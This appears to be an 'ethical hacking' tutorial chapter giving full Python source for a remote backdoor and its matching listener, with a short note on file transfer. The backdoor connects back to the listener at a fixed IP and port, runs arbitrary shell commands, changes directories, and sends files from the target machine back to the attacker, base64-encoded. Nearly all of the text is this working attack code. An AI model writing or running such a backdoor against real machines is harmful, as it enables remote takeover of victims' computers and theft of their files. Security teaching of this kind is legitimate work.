Python Ethical Hacking - BACKDOORS(5)

File Download:

• A file is a series of characters.
• Therefore to transfer a file we need to:
  • 1. Read the file as a sequence of characters.
  • 2. Send this sequence of characters.
  • 3. Create a new empty file at the destination.
  • 4. Store the transferred sequence of characters in the new file.

Server Side - Listener code:

#!/usr/bin/env python
import socket
import json
import base64

class Listener:
    def __init__(self, ip, port):
        listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        listener.bind((ip, port))
        listener.listen(0)
        print("[+] Waiting for incoming connections")
        self.connection, address = listener.accept()
        print("[+] Got a connection from " + str(address))

    def reliable_send(self, data):
        json_data = json.dumps(data).encode()
        self.connection.send(json_data)

    def reliable_receive(self):
        json_data = ""
        while True:
            try:
                json_data = json_data + self.connection.recv(1024).decode()
                return json.loads(json_data)
            except ValueError:
                continue

    def execute_remotely(self, command):
        self.reliable_send(command)

        if command[0] == "exit":
            self.connection.close()
            exit()

        return self.reliable_receive()

    def write_file(self, path, content):
        with open(path, "wb") as file:
            file.write(base64.b64decode(content))
            return "[+] Download successful."

    def run(self):
        while True:
            command = input(">> ")
            command = command.split(" ")
            result = self.execute_remotely(command)

            if command[0] == "download":
                result = self.write_file(command[1], result)

            print(result)

my_listener = Listener("10.0.0.43", 4444)
my_listener.run()

Client Side - Backdoor code:

#!/usr/bin/env python
import json
import socket
import subprocess
import os
import base64

class Backdoor:
    def __init__(self, ip, port):
        self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.connection.connect((ip, port))

    def reliable_send(self, data):
        json_data = json.dumps(data).encode()
        self.connection.send(json_data)

    def reliable_receive(self):
        json_data = ""
        while True:
            try:
                json_data = json_data + self.connection.recv(1024).decode()
                return json.loads(json_data)
            except ValueError:
                continue

    def change_working_directory_to(self, path):
        os.chdir(path)
        return "[+] Changing working directory to " + path

    def execute_system_command(self, command):
        return subprocess.check_output(command, shell=True)

    def read_file(self, path):
        with open(path, "rb") as file:
            return base64.b64encode(file.read())

    def run(self):
        while True:
            command = self.reliable_receive()
            if command[0] == "exit":
                self.connection.close()
                exit()
            elif command[0] == "cd" and len(command) > 1:
                command_result = self.change_working_directory_to(command[1])
            elif command[0] == "download":
                command_result = self.read_file(command[1]).decode()
            else:
                command_result = self.execute_system_command(command).decode()

            self.reliable_send(command_result)

my_backdoor = Backdoor("10.0.0.43", 4444)
my_backdoor.run()

Download the files from the target computer successfully.